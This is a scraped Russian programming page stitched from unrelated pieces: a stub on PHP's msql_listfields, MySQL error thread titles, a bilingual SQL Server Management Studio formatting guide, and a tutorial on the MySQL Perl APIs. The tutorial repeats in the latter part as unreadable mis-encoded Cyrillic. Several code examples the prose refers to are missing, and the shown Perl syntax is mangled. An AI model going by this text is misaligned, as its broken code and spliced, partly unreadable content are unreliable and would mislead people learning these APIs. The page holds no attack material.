Что такое код msql_listfields

Содержание

Что такое код msql_listfields

msql_listfields — список результирующих полей.

Описание


Назад Оглавление Вперёд
msql_listdbs Вверх msql_listtables

Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:

Ошибка 1052 — Column ‘ >21.08.2020, 14:37. Просмотров 3436. Ответов 2

Вроде все верно ведь пишу?

21.08.2020, 14:37

Column ‘ ‘ in field list is ambiguous
помогите пожалуйста. столкнулся с проблемой следующего характреа: таблицы выглядят так.

Ошибка при импорте базы #1052 — Column ‘id’ in on clause is ambiguous
Привет всем, как исправить эту ошибку #1052 — Column ‘id’ in on clause is ambiguous.

Ошибка #1054 — Unknown column in ‘field list’
То ли я дурак, то ли лыжи не едут.

Ошибка MySQL Unknown column ‘somelogin’ in ‘field list’
Здравствуйте, при попытке ввести в базу данных запись о новом пользователе (скрипт регистрации).

SQLSTATE[42S22]: Column not found: 1054 Unknown column ‘site_name’ in ‘field list’
Доброго времени суток! Генерируется запрос следующего типа: UPDATE `seoCustom` SET `site_name` =.

управлять форматированием кода Manage Code Formatting

ОБЛАСТЬ ПРИМЕНЕНИЯ: SQL Server База данных SQL Azure Azure Synapse Analytics (хранилище данных SQL) Parallel Data Warehouse APPLIES TO: SQL Server Azure SQL Database Azure Synapse Analytics (SQL DW) Parallel Data Warehouse

В редакторе можно форматировать код отступами, скрывать текст, вводить URL-адреса и т. д. With the Editor you can format your code with indenting, hidden text, URLs, and so forth. Можно также выполнять автоматическое форматирование кода с помощью интеллектуальных отступов. You can also auto-format your code as you type by using Smart Indenting.

Отступы Indenting

Возможны три разных стиля расстановки отступов. You can choose three different styles of text indenting. Можно указать, сколько пробелов должно входить в один отступ или табуляцию, а также какие символы редактор будет использовать при расстановке отступов: табуляции или пробелы. You can also specify how many spaces compose a single indentation or tab, and whether the Editor uses tabs or space characters when indenting.

Выбор стиля расстановки отступов To choose an indenting style

В меню Сервис выберите команду Параметры. On the Tools menu, click Options.

Щелкните Текстовый редактор. Click Text Editor.

Щелкните папку и выберите Все языки , чтобы задать расстановку отступов для всех языков. Click the folder, and select All Languages to set indenting for all languages.

Щелкните Вкладки. Click Tabs.

Выберите один из следующих параметров: Click one of the following options:

Нет. None. Курсор переходит на начало следующей строки. The cursor goes to the beginning of the next line.

Заблокировать. Block. Курсор выравнивает следующую строку с предыдущей. The cursor aligns the next line with the previous line.

Автоматически (по умолчанию). Smart (Default). Подходящий стиль расстановки отступов определяет служба языков. The language service determines the appropriate indenting style to use.

В некоторых языках могут не поддерживаться все три параметра расстановки отступов. Some languages do not offer all three indenting options.

Изменение параметров отступов табуляциями To change indent tab settings

В меню Сервис выберите команду Параметры. On the Tools menu, click Options.

Щелкните Текстовый редактор. Click Text Editor.

Щелкните папку Все языки , чтобы задать расстановку отступов для всех языков. Select the folder for All Languages to set indenting for all languages.

Щелкните Вкладки. Click Tabs.

Чтобы задать символы табуляции для операций расстановки табуляций и отступов, щелкните Сохранить табуляции. To specify tab characters for tab and indent operations, click Keep tabs. Чтобы указать символы пробелов, выберите Вставлять пробелы. To specify space characters, select Insert spaces.

Если выбрано Вставлять пробелы, введите количество пробелов в каждой табуляции или отступе в полях Размер табуляции или Размер отступасоответственно. If you select Insert Spaces, enter the number of space characters each tab or indent represents under Tab Size or Indent Size, respectively.

Создание отступа в тексте кода To indent code

Выберите текст, в котором нужно применить отступы. Select the text you want to indent.

Нажмите клавишу TAB или кнопку Отступ на панели инструментов «Стандартная». Press TAB, or click the Indent button on the Standard toolbar.

Отмена отступа в коде To unindent code

Выберите текст, в котором нужно удалить отступы. Select the text you want to unindent.

Нажмите SHIFT + TAB или кнопку Удалить отступы на панели инструментов «Стандартная». Press SHIFT+TAB, or click the Unindent button on the Standard toolbar.

Автоматическая расстановка отступов во всем коде To automatically indent all of your code

В меню Сервис выберите команду Параметры. On the Tools menu, click Options.

Щелкните Текстовый редактор. Click Text Editor.

Щелкните Все языки. Click All Languages.

Щелкните Вкладки. Click Tabs.

Выберите Автоматически. Click Smart.

Параметр Автоматически в некоторых языках недоступен. The Smart option is not available for some languages.

Преобразование пробелов в табуляции To convert white space to tabs

Выберите текст, в котором нужно преобразовать пробелы в табуляции. Select the text whose white space you want to convert to tabs.

В меню Правка укажите пункт Дополнительнои выберите Установить табуляции в выделенном. On the Edit menu, point to Advanced, and click Tabify Selection.

Преобразование табуляций в пробелы To convert tabs to spaces

Выберите текст, в котором нужно преобразовать табуляции в пробелы. Select the text whose tabs you want to convert to spaces.

В меню Правка укажите пункт Дополнительнои выберите Удалить табуляции в выделенном. On the Edit menu, point to Advanced, and click Untabify Selection.

Действие этих команд зависит от настройки табуляции в диалоговом окне Параметры . The behavior of these commands depends on the tab settings in the Options dialog box. Например, если параметр табуляции равен 4, Установить табуляции в выделенном заменяет табуляцией каждые 4 непрерывных пробела, а Удалить табуляции в выделенном создает 4 пробела для каждой табуляции. For example, if the tab setting is 4, Tabify Selection creates a tab for every 4 contiguous spaces, and Untabify Selection creates 4 spaces for every tab.

Преобразование текста в верхний и нижний регистр Converting Text to Upper and Lower Case

Для преобразования текста в верхний или нижний регистр имеются специальные команды. You can use commands to convert text to all uppercase or lower case.

Преобразование текста в верхний и нижний регистр To switch text to upper or lower case

Выберите текст, который нужно преобразовать. Select the text you want to convert.

Чтобы преобразовать текст в верхний регистр, нажмите CTRL + SHIFT + U или выберите Верхний регистр в подменю Дополнительно меню Правка . To convert text to uppercase, press CTRL+SHIFT+U, or click Make Uppercase on the Advanced submenu of the Edit menu.

Чтобы преобразовать текст в нижний регистр, нажмите CTRL + SHIFT + L или выберите Нижний регистр в подменю Дополнительно меню Правка . To convert text to lowercase, press CTRL+SHIFT+L, or click Make Lowercase on the Advanced submenu of the Edit menu.

Полный список сочетаний клавиш см. в статье Сочетания клавиш среды SQL Server Management Studio. For a complete list of keyboard shortcut keys, see SQL Server Management Studio Keyboard Shortcuts.

Отображение URL-адресов и переход по ним Displaying and Linking to URLs

В программном коде можно создавать и отображать интерактивные URL-адреса. You can create and display clickable URLs in your code. По умолчанию URL-адреса: By default, the URLs:

подчеркнуты; Are underlined.

при наведении указателя меняют его форму на изображение ладони; Change the mouse pointer to a hand when you move over them.

открывают URL-адрес при щелчке на нем, если этот URL-адрес действителен. Open the URL when clicked, if the URL is valid.

Включение отображения интерактивных URL-адресов To display a clickable URL

В меню Сервис выберите команду Параметры. On the Tools menu, click Options.

Щелкните Текстовый редактор. Click Text Editor.

Чтобы изменить параметр только для одного языка, щелкните папку этого языка и выберите Общие. To change the option for only one language, click that language folder and then click General. Чтобы изменить параметр для всех языков, щелкните Все языки и выберите Общие. To change the option for all languages, click All Languages and then click General.

Выберите Переход по URL-адресам одним щелчком. Select Enable single-click URL navigation.

Что такое код msql_listfields

Есть два способа обращения из программы на perl к базе данных MySQL. Дело в том, что два разных человека написали в общем-то одинаково хорошие, хотя и разные библиотеки для такого доступа. Решено включить в поставку оба варианта perl API.

Наличие perl API дает огромные возможности по доступу к базам данных MySQL из скриптов на этом языке. Учитывая, что perl очень часто используется в интернете (для написания CGI-скриптов), этот интерфейс позволяет создавать web-ориентированные базы данных.

Простой интерфейс с perl СУБД MySQL

Этот интерфейс представляет собой первый способ обратиться к базе данных MySQL из программы на perl.

Коротко о главном:

Ну что, всем все ясно? Кому еще не ясно, объясняю.

При разработке этого пакета, его старались сделать как можно более похожим на C API.

Вы будете иметь дело с двумя классами: Mysql::Statement работаете с ним через операторный дескриптор, возвращенный командами Query или ListFields. Единственный класс, который Вы называете явно — Mysql. Это предоставляет Вам команду Connect.

Очень большие числа

Из-за ограничений perl по обработке числовых значений, Вы будете иметь проблемы при использовании чисел больше чем signed LONG (2147483647). Это может происходить при использовании в MySQL типов данных unsigned LONG (DOUBLE) или LONGLONG (BIGINT). Perl хранит возвращаемые значения как строки, но автоматически преобразуют их в числа, когда Вы используете значения в числовом контексте. Это их усечет до 2147483647, так как perl использует тип signed LONG, чтобы хранить такие числа.

Вы можете использовать один способ это обойти. Прежде всего всегда обрабатывайте значения, которые могут быть ОЧЕНЬ большими, как строки, а не как числа. Пока Вы делаете это, они могут отображаться и заново вставляться в базу данных без инцидентов. То же самое можно посоветовать для вставки новых значений в таблицы. Если Вы устанавливаете переменную, названную $tmpvar, равную «4147483647» и затем выполняете INSERT, чтобы вставить ее в базу данных, все будет нормально. Обратите внимание, что кавычки здесь очень важны, так как они заставляют perl обрабатывать значение как строку.

Если Вы должны делать вычисления, включающие большие числа, то их нужно выполнять через начальный SELECT.

Connect

Эта команда устанавливает соединение с сервером и базой данных. Без аргумента или с пустой строкой в качестве первого аргумента он связывается с устройством UNIX /dev/mysql, который сильно повышает эффективность. Имя базы данных во втором аргументе указывает с какой именно базой данных надо связаться. Возвращается дескриптор базы данных, если команда Connect выполнена успешно. В противном случае возвращаемое значение не определено. Если Вы используете mysqld, скомпилированный с библиотекой потоков MIT, Вы не сможете использовать устройства. В этом случае укажите имя сервера в переменной host. А вообще библиотека потоков MIT такое глюкало.

Можно указать имя пользователя и пароль. Если имя пользователя не указано, используется текущий логин. Если не указан пароль, а пользователь его имеет, связь установить не получится.

Возвращаемый дескриптор нужен для обращения к базе данных. Можно отдать несколько команд Connect переменных ($dbh1,$dbh2, $dbh3, . )

Из полученного дескриптора можно извлечь сведения о имени сервера, порте и имени базы данных:

Имя базы данных не определено, если при вызове команды Connect было указано только имя сервера.

Смена порта

Сменить порт, к которому присоединился MysqlPerl можно так:

SelectDB

Выбор базы данных для использования.

Если база данных не выбрана в команде Connect, или если нужно связаться с другой базой данных, то используется дескриптор базы данных из предыдущего вызова команды Connect. Он используется командой SelectDB.

ListFields

Список полей в таблице.

ListFields возвращает операторный дескриптор, который может использоваться, чтобы выяснить, что именно сервер должен Вам передать. В случае ошибки возвращаемое значение не определено.

MySQL ListFields не работает так же как mSQL ListFields. В MySQL Вы используете следующие команды, чтобы получить информацию после вызова ListFields.

Перед использованием следующих функций, Вы должны выполнить успешное обращение к ListFields.

@arr = @<$sth->name>; Возвращает массив имен столбцов
@arr = @<$sth->length>; Возвращает массив длин столбцов
$value = $sth->numfields; Возвращает количество столбцов в таблице
@arr = @<$sth->type>; Массив MySQL типов
@arr = @<$sth->is_num>; Массив 0 и 1, где 1 указывает что столбец числовой
@arr = @<$sth->is_blob>; Массив 0 и 1, где 1 указывает что столбец — blob
@arr = @<$sth->is_not_null>; Массив 0 и 1, где 1 указывает что столбец — не NULL

Query

Эта функция позволяет Вам посылать запрос базе данных. Вы должны использовать FetchRow, чтобы получить результат.

Хорошая идея — всегда проверить ошибки. В этом примере такой проверкой занимается блок «or die. » оператора Query.

ListDBs

Список доступных баз данных.

ListDBs возвращает массив, который содержит один элемент для имени каждой базы данных, управляемой MySQL.

ListTables

Список таблиц, доступных в базе данных.

Возвращает массив с одним элементом для каждого имени таблицы в базе данных. Вы должны были, определить базу данных при вызове Connect или SelectDB.

FetchCol

Возвращает массив, содержащий один столбец, состоящий из значений.

Возвращает массив значений для столбца номер $col. FetchRow возвращает следующую строку результата запроса. FetchCol возвращает весь одиночный столбец результата запроса.

Обратите внимание, что эта функция сбросит текущий указатель строки на конец таблицы; вы должны использовать DataSeek(0), чтобы переустановить его.

FetchHash

Возвращает результат запроса.

Возвращает ассоциативный массив, содержащий следующую строку, полученную с сервера.

FetchRow

Возвращает строку результатов.

Возвращает массив значений следующей строки, полученной с сервера.

DataSeek

Позиционируется на произвольную позицию в данных.

Дает возможность Вам определить смещение в данных, связанное с операторным дескриптором. Следующий вызов FetchRow возвратит соответствующую строку (первая строка имеет смещение = 0).

Обработка двоичных строк

Некоторых символов нужно избежать прежде, чем двоичные строки могут быть вставлены в базу данных MySQL. MySQL perl API обеспечивает следующую функцию, чтобы делать это автоматически.

Конвертирует строку: пропускает все символы ‘ и \, а также конвертирует \0 и \n.

Потерянные значения

Всякий раз, когда обработчик, который обеспечивает доступ к базе данных, обрабатывает потерянное значение, Mysql выбирает соответствующее действие (освобождает результат или закрывает подключение к базе данных). Так, если Вы хотите освободить результат или закрыть подключение, Вы можете делать одно из следующих действий:

  • Разопределить дескриптор
  • Использовать дескриптор для другой цели
  • Использовать дескриптор внутри блока и объявите его с my()
  • Выйдите из программы

Метаданные

Теперь пересмотрим вышеупомянутые методы в отношении метаданных.

Дескриптор базы данных

Как упомянуто выше, Вы получаете дескриптор базы данных с помощью:

Дескриптор базы данных хранит сведения о хост-имени сервера, его порте и имени базы данных, с которой установлена связь. Эти три значения можно получить так:

База данных не определена, если связь установлена без аргументов или только с одним аргументом.

Два конструктора возвращают операторный дескриптор:

$sth хранит все метаданные, предоставляемые API:

$scalar = $sth->affected_rows; Сколько записей вставлено или изменено.
$scalar = $sth->info; Статистика о предыдущих запросах ALTER TABLE или LOAD DATA FROM INFILE.
$arrref = $sth->is_blob; Массив битов, специфицирующих является ли данное поле BLOB.
$arrref = $sth->is_not_null; Массив битов, специфицирующих является ли данное поле NULL.
$arrref = $sth->is_pri_key; Массив битов, специфицирующих является ли данное поле первичным ключом.
$arrref = $sth->is_num; Массив битов, специфицирующих является ли данное поле числом.
$scalar = $sth->insert_id; Значение, присвоенное столбцу с помощью AUTO_INCREMENT последним INSERT.
$arrref = $sth->length; Массив длин всех полей в байтах.
$arrref = $sth->name; Имена всех столбцов.
$scalar = $sth->numrows; Количество возвращаемых записей.
$scalar = $sth->numfields; Количество возвращаемых полей.
$arrref = $sth->table; Имена каждого столбца в таблице.
$arrref = $sth->type; Тип каждого столбца, определен в mysql.h. Доступен с помощью &Mysql::CHAR_TYPE, &Mysql::INT_TYPE, &Mysql::REAL_TYPE

Опция -w может быть очень полезной в случае проблем с отладкой. Если Вы вызываете программу на perl с опцией -w, то предупреждения, обычно хранимые в $Mysql::db_errstr будут выводиться в STDERR (стандартный поток ошибок). Таким образом, Вы получите сообщения об ошибках сервера MySQL без обработки их в Вашей программе.

Если надо использовать опцию -w, но не надо, чтобы сообщения об ошибках увидел демон MySQL, можно установить переменную $Mysql::QUIET в любое ненулевое значение.

Предупреждение

MySQL использует библиотеку libmysql.a, написанную Михаэлем Видениусом (Michael Widenius). Эта библиотека обязательно должна быть установлена до использования этого интерфейса с perl.

Об авторе интерфейса

MySQL perl API основан на mSQL perl API версии 1.17, разработанной Андреасом Коенигом (Andreas Koenig’s koenig@franz.ww.TU-Berlin.DE).

Драйвер MySQL DBD Perl

Этот драйвер представляет собой второй способ обратиться к базе данных MySQL из программы на perl.

В настоящее время эта часть описания интерфейса с perl только немного переработана, относительно версии стандартной pod-документации. Данная часть описания изготовлена с помощью команды pod2html -mke.

Коротко о главном

DBD::mysql является драйвером для работы с базой данных, управляемой СУБД MySQL. Он портирован Michael ‘Monty’ Widenius of Alligator Descartes’ DBD::msql. Вы должны установить DBI-модуль перед использованием DBD::mysql.

$host может быть просто именем сервера («up.botik.ru») или именем сервера с указанием порта («up.botik.ru:3333»).

$database задает имя базы данных с которой надо связаться.

$user задает имя пользователя для доступа к базе данных. (если не указано, используется идентификатор пользователя текущего процесса).

$password является опциональным и нужно только для аккаунтов, которые имеют не пустые пароли.

Системные переменные, которые использует DBD::mysql:

  • hostname
  • database
  • username
  • password
  • port

Значения в системных переменных отменяют значения, переданные раньше. TCP номер порта, отменяет TCP номер порта, переданный в hostname.

Можно разрешить отладку, установив переменную MYSQL_DEBUG ‘d:t:O,filename’ (где filename является именем файла для записи протокола). Протокол будет записан в файл только если libmysql откомпилирована с поддержкой отладки (опция DBUG).

Поддерживаются следующие тэги:

  • TABLE
  • TYPE
  • IS_PRI_KEY
  • IS_NOT_NULL
  • LENGTH
  • MAXLENGTH
  • IS_KEY
  • IS_BLOB
  • IS_NUM

Для получения значения поля AUTO_INCREMENT INSERT, надо:

Очень большие числа

Ограничения на работу с ОЧЕНЬ БОЛЬШИМИ числами специфичны для языка perl вообще, а не для какого-либо API в частности. Так что все, что об этом сказано выше, справедливо и в данном случае.

Вставка двоичных строк

В случае вставки двоичных данных в базу данных Вы должны обойти некоторые символы. Вы можете использовать следующий метод:

Об авторе интерфейса

Msqlperl разработан (C)1997 Alligator Descartes. Модифицирован Msqlperl by Michael ‘Monty’ Widenius. Все изменения доступны на условиях public domain. Pod-документация, на которой основана данная глава, и _InsertID

Что можно почитать

DBI(3) для информации об использовании DBD/DBI.

Илон Маск рекомендует:  Эффект скручивания
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL
Хостинг в Европе для новичков (от 25 руб/мес) и VIP-хостинг для профессионалов (от 1000 руб/мес)

Скидка 25% на все тарифы хостинга по промокоду STDCITF

йОФЕТЖЕКУ У perl (MySQL perl API)

еУФШ ДЧБ УРПУПВБ ПВТБЭЕОЙС ЙЪ РТПЗТБННЩ ОБ perl Л ВБЪЕ ДБООЩИ MySQL. дЕМП Ч ФПН, ЮФП ДЧБ ТБЪОЩИ ЮЕМПЧЕЛБ ОБРЙУБМЙ Ч ПВЭЕН-ФП ПДЙОБЛПЧП ИПТПЫЙЕ, ИПФС Й ТБЪОЩЕ ВЙВМЙПФЕЛЙ ДМС ФБЛПЗП ДПУФХРБ. тЕЫЕОП ЧЛМАЮЙФШ Ч РПУФБЧЛХ ПВБ ЧБТЙБОФБ perl API.

оБМЙЮЙЕ perl API ДБЕФ ПЗТПНОЩЕ ЧПЪНПЦОПУФЙ РП ДПУФХРХ Л ВБЪБН ДБООЩИ MySQL ЙЪ УЛТЙРФПЧ ОБ ЬФПН СЪЩЛЕ. хЮЙФЩЧБС, ЮФП perl ПЮЕОШ ЮБУФП ЙУРПМШЪХЕФУС Ч ЙОФЕТОЕФЕ (ДМС ОБРЙУБОЙС CGI-УЛТЙРФПЧ), ЬФПФ ЙОФЕТЖЕКУ РПЪЧПМСЕФ УПЪДБЧБФШ web-ПТЙЕОФЙТПЧБООЩЕ ВБЪЩ ДБООЩИ.

ьФПФ ЙОФЕТЖЕКУ РТЕДУФБЧМСЕФ УПВПК РЕТЧЩК УРПУПВ ПВТБФЙФШУС Л ВБЪЕ ДБООЩИ MySQL ЙЪ РТПЗТБННЩ ОБ perl.

лПТПФЛП П ЗМБЧОПН:

оХ ЮФП, ЧУЕН ЧУЕ СУОП? лПНХ ЕЭЕ ОЕ СУОП, ПВЯСУОСА.

рТЙ ТБЪТБВПФЛЕ ЬФПЗП РБЛЕФБ, ЕЗП УФБТБМЙУШ УДЕМБФШ ЛБЛ НПЦОП ВПМЕЕ РПИПЦЙН ОБ C API.

чЩ ВХДЕФЕ ЙНЕФШ ДЕМП У ДЧХНС ЛМБУУБНЙ: Mysql::Statement ТБВПФБЕФЕ У ОЙН ЮЕТЕЪ ПРЕТБФПТОЩК ДЕУЛТЙРФПТ, ЧПЪЧТБЭЕООЩК ЛПНБОДБНЙ Query ЙМЙ ListFields. еДЙОУФЧЕООЩК ЛМБУУ, ЛПФПТЩК чЩ ОБЪЩЧБЕФЕ СЧОП — Mysql. ьФП РТЕДПУФБЧМСЕФ чБН ЛПНБОДХ Connect.

йЪ-ЪБ ПЗТБОЙЮЕОЙК perl РП ПВТБВПФЛЕ ЮЙУМПЧЩИ ЪОБЮЕОЙК, чЩ ВХДЕФЕ ЙНЕФШ РТПВМЕНЩ РТЙ ЙУРПМШЪПЧБОЙЙ ЮЙУЕМ ВПМШЫЕ ЮЕН signed LONG (2147483647). ьФП НПЦЕФ РТПЙУИПДЙФШ РТЙ ЙУРПМШЪПЧБОЙЙ Ч MySQL ФЙРПЧ ДБООЩИ unsigned LONG (DOUBLE) ЙМЙ LONGLONG (BIGINT). Perl ИТБОЙФ ЧПЪЧТБЭБЕНЩЕ ЪОБЮЕОЙС ЛБЛ УФТПЛЙ, ОП БЧФПНБФЙЮЕУЛЙ РТЕПВТБЪХАФ ЙИ Ч ЮЙУМБ, ЛПЗДБ чЩ ЙУРПМШЪХЕФЕ ЪОБЮЕОЙС Ч ЮЙУМПЧПН ЛПОФЕЛУФЕ. ьФП ЙИ ХУЕЮЕФ ДП 2147483647, ФБЛ ЛБЛ perl ЙУРПМШЪХЕФ ФЙР signed LONG, ЮФПВЩ ИТБОЙФШ ФБЛЙЕ ЮЙУМБ.

чЩ НПЦЕФЕ ЙУРПМШЪПЧБФШ ПДЙО УРПУПВ ЬФП ПВПКФЙ. рТЕЦДЕ ЧУЕЗП ЧУЕЗДБ ПВТБВБФЩЧБКФЕ ЪОБЮЕОЙС, ЛПФПТЩЕ НПЗХФ ВЩФШ пюеош ВПМШЫЙНЙ, ЛБЛ УФТПЛЙ, Б ОЕ ЛБЛ ЮЙУМБ. рПЛБ чЩ ДЕМБЕФЕ ЬФП, ПОЙ НПЗХФ ПФПВТБЦБФШУС Й ЪБОПЧП ЧУФБЧМСФШУС Ч ВБЪХ ДБООЩИ ВЕЪ ЙОГЙДЕОФПЧ. фП ЦЕ УБНПЕ НПЦОП РПУПЧЕФПЧБФШ ДМС ЧУФБЧЛЙ ОПЧЩИ ЪОБЮЕОЙК Ч ФБВМЙГЩ. еУМЙ чЩ ХУФБОБЧМЙЧБЕФЕ РЕТЕНЕООХА, ОБЪЧБООХА $tmpvar, ТБЧОХА «4147483647» Й ЪБФЕН ЧЩРПМОСЕФЕ INSERT, ЮФПВЩ ЧУФБЧЙФШ ЕЕ Ч ВБЪХ ДБООЩИ, ЧУЕ ВХДЕФ ОПТНБМШОП. пВТБФЙФЕ ЧОЙНБОЙЕ, ЮФП ЛБЧЩЮЛЙ ЪДЕУШ ПЮЕОШ ЧБЦОЩ, ФБЛ ЛБЛ ПОЙ ЪБУФБЧМСАФ perl ПВТБВБФЩЧБФШ ЪОБЮЕОЙЕ ЛБЛ УФТПЛХ.

еУМЙ чЩ ДПМЦОЩ ДЕМБФШ ЧЩЮЙУМЕОЙС, ЧЛМАЮБАЭЙЕ ВПМШЫЙЕ ЮЙУМБ, ФП ЙИ ОХЦОП ЧЩРПМОСФШ ЮЕТЕЪ ОБЮБМШОЩК SELECT.

ьФБ ЛПНБОДБ ХУФБОБЧМЙЧБЕФ УПЕДЙОЕОЙЕ У УЕТЧЕТПН Й ВБЪПК ДБООЩИ. вЕЪ БТЗХНЕОФБ ЙМЙ У РХУФПК УФТПЛПК Ч ЛБЮЕУФЧЕ РЕТЧПЗП БТЗХНЕОФБ ПО УЧСЪЩЧБЕФУС У ХУФТПКУФЧПН UNIX /dev/mysql, ЛПФПТЩК УЙМШОП РПЧЩЫБЕФ ЬЖЖЕЛФЙЧОПУФШ. йНС ВБЪЩ ДБООЩИ ЧП ЧФПТПН БТЗХНЕОФЕ ХЛБЪЩЧБЕФ У ЛБЛПК ЙНЕООП ВБЪПК ДБООЩИ ОБДП УЧСЪБФШУС. чПЪЧТБЭБЕФУС ДЕУЛТЙРФПТ ВБЪЩ ДБООЩИ, ЕУМЙ ЛПНБОДБ Connect ЧЩРПМОЕОБ ХУРЕЫОП. ч РТПФЙЧОПН УМХЮБЕ ЧПЪЧТБЭБЕНПЕ ЪОБЮЕОЙЕ ОЕ ПРТЕДЕМЕОП. еУМЙ чЩ ЙУРПМШЪХЕФЕ mysqld, УЛПНРЙМЙТПЧБООЩК У ВЙВМЙПФЕЛПК РПФПЛПЧ MIT, чЩ ОЕ УНПЦЕФЕ ЙУРПМШЪПЧБФШ ХУФТПКУФЧБ. ч ЬФПН УМХЮБЕ ХЛБЦЙФЕ ЙНС УЕТЧЕТБ Ч РЕТЕНЕООПК host. б ЧППВЭЕ ВЙВМЙПФЕЛБ РПФПЛПЧ MIT ФБЛПЕ ЗМАЛБМП.

нПЦОП ХЛБЪБФШ ЙНС РПМШЪПЧБФЕМС Й РБТПМШ. еУМЙ ЙНС РПМШЪПЧБФЕМС ОЕ ХЛБЪБОП, ЙУРПМШЪХЕФУС ФЕЛХЭЙК МПЗЙО. еУМЙ ОЕ ХЛБЪБО РБТПМШ, Б РПМШЪПЧБФЕМШ ЕЗП ЙНЕЕФ, УЧСЪШ ХУФБОПЧЙФШ ОЕ РПМХЮЙФУС.

чПЪЧТБЭБЕНЩК ДЕУЛТЙРФПТ ОХЦЕО ДМС ПВТБЭЕОЙС Л ВБЪЕ ДБООЩИ. нПЦОП ПФДБФШ ОЕУЛПМШЛП ЛПНБОД Connect РЕТЕНЕООЩИ ($dbh1,$dbh2, $dbh3, . )

йЪ РПМХЮЕООПЗП ДЕУЛТЙРФПТБ НПЦОП ЙЪЧМЕЮШ УЧЕДЕОЙС П ЙНЕОЙ УЕТЧЕТБ, РПТФЕ Й ЙНЕОЙ ВБЪЩ ДБООЩИ:

йНС ВБЪЩ ДБООЩИ ОЕ ПРТЕДЕМЕОП, ЕУМЙ РТЙ ЧЩЪПЧЕ ЛПНБОДЩ Connect ВЩМП ХЛБЪБОП ФПМШЛП ЙНС УЕТЧЕТБ.

чЩВПТ ВБЪЩ ДБООЩИ ДМС ЙУРПМШЪПЧБОЙС.

еУМЙ ВБЪБ ДБООЩИ ОЕ ЧЩВТБОБ Ч ЛПНБОДЕ Connect, ЙМЙ ЕУМЙ ОХЦОП УЧСЪБФШУС У ДТХЗПК ВБЪПК ДБООЩИ, ФП ЙУРПМШЪХЕФУС ДЕУЛТЙРФПТ ВБЪЩ ДБООЩИ ЙЪ РТЕДЩДХЭЕЗП ЧЩЪПЧБ ЛПНБОДЩ Connect. пО ЙУРПМШЪХЕФУС ЛПНБОДПК SelectDB.

уРЙУПЛ РПМЕК Ч ФБВМЙГЕ.

$sth = ListFields $dbh $table;

ListFields ЧПЪЧТБЭБЕФ ПРЕТБФПТОЩК ДЕУЛТЙРФПТ, ЛПФПТЩК НПЦЕФ ЙУРПМШЪПЧБФШУС, ЮФПВЩ ЧЩСУОЙФШ, ЮФП ЙНЕООП УЕТЧЕТ ДПМЦЕО чБН РЕТЕДБФШ. ч УМХЮБЕ ПЫЙВЛЙ ЧПЪЧТБЭБЕНПЕ ЪОБЮЕОЙЕ ОЕ ПРТЕДЕМЕОП.

MySQL ListFields ОЕ ТБВПФБЕФ ФБЛ ЦЕ ЛБЛ mSQL ListFields. ч MySQL чЩ ЙУРПМШЪХЕФЕ УМЕДХАЭЙЕ ЛПНБОДЩ, ЮФПВЩ РПМХЮЙФШ ЙОЖПТНБГЙА РПУМЕ ЧЩЪПЧБ ListFields.

рЕТЕД ЙУРПМШЪПЧБОЙЕН УМЕДХАЭЙИ ЖХОЛГЙК, чЩ ДПМЦОЩ ЧЩРПМОЙФШ ХУРЕЫОПЕ ПВТБЭЕОЙЕ Л ListFields.

@arr = @<$sth->name>; чПЪЧТБЭБЕФ НБУУЙЧ ЙНЕО УФПМВГПЧ
@arr = @<$sth->length>; чПЪЧТБЭБЕФ НБУУЙЧ ДМЙО УФПМВГПЧ
$value = $sth->numfields; чПЪЧТБЭБЕФ ЛПМЙЮЕУФЧП УФПМВГПЧ Ч ФБВМЙГЕ
@arr = @<$sth->type>; нБУУЙЧ MySQL ФЙРПЧ
@arr = @<$sth->is_num>; нБУУЙЧ 0 Й 1, ЗДЕ 1 ХЛБЪЩЧБЕФ ЮФП УФПМВЕГ ЮЙУМПЧПК
@arr = @<$sth->is_blob>; нБУУЙЧ 0 Й 1, ЗДЕ 1 ХЛБЪЩЧБЕФ ЮФП УФПМВЕГ — blob
@arr = @<$sth->is_not_null>; нБУУЙЧ 0 Й 1, ЗДЕ 1 ХЛБЪЩЧБЕФ ЮФП УФПМВЕГ — ОЕ NULL

ьФБ ЖХОЛГЙС РПЪЧПМСЕФ чБН РПУЩМБФШ ЪБРТПУ ВБЪЕ ДБООЩИ. чЩ ДПМЦОЩ ЙУРПМШЪПЧБФШ FetchRow, ЮФПВЩ РПМХЮЙФШ ТЕЪХМШФБФ.

иПТПЫБС ЙДЕС — ЧУЕЗДБ РТПЧЕТЙФШ ПЫЙВЛЙ. ч ЬФПН РТЙНЕТЕ ФБЛПК РТПЧЕТЛПК ЪБОЙНБЕФУС ВМПЛ «or die. » ПРЕТБФПТБ Query.

уРЙУПЛ ДПУФХРОЩИ ВБЪ ДБООЩИ.

ListDBs ЧПЪЧТБЭБЕФ НБУУЙЧ, ЛПФПТЩК УПДЕТЦЙФ ПДЙО ЬМЕНЕОФ ДМС ЙНЕОЙ ЛБЦДПК ВБЪЩ ДБООЩИ, ХРТБЧМСЕНПК MySQL.

уРЙУПЛ ФБВМЙГ, ДПУФХРОЩИ Ч ВБЪЕ ДБООЩИ.

чПЪЧТБЭБЕФ НБУУЙЧ У ПДОЙН ЬМЕНЕОФПН ДМС ЛБЦДПЗП ЙНЕОЙ ФБВМЙГЩ Ч ВБЪЕ ДБООЩИ. чЩ ДПМЦОЩ ВЩМЙ, ПРТЕДЕМЙФШ ВБЪХ ДБООЩИ РТЙ ЧЩЪПЧЕ Connect ЙМЙ SelectDB.

чПЪЧТБЭБЕФ НБУУЙЧ, УПДЕТЦБЭЙК ПДЙО УФПМВЕГ, УПУФПСЭЙК ЙЪ ЪОБЮЕОЙК.

чПЪЧТБЭБЕФ НБУУЙЧ ЪОБЮЕОЙК ДМС УФПМВГБ ОПНЕТ $col. FetchRow ЧПЪЧТБЭБЕФ УМЕДХАЭХА УФТПЛХ ТЕЪХМШФБФБ ЪБРТПУБ. FetchCol ЧПЪЧТБЭБЕФ ЧЕУШ ПДЙОПЮОЩК УФПМВЕГ ТЕЪХМШФБФБ ЪБРТПУБ.

пВТБФЙФЕ ЧОЙНБОЙЕ, ЮФП ЬФБ ЖХОЛГЙС УВТПУЙФ ФЕЛХЭЙК ХЛБЪБФЕМШ УФТПЛЙ ОБ ЛПОЕГ ФБВМЙГЩ; ЧЩ ДПМЦОЩ ЙУРПМШЪПЧБФШ DataSeek(0), ЮФПВЩ РЕТЕХУФБОПЧЙФШ ЕЗП.

чПЪЧТБЭБЕФ ТЕЪХМШФБФ ЪБРТПУБ.

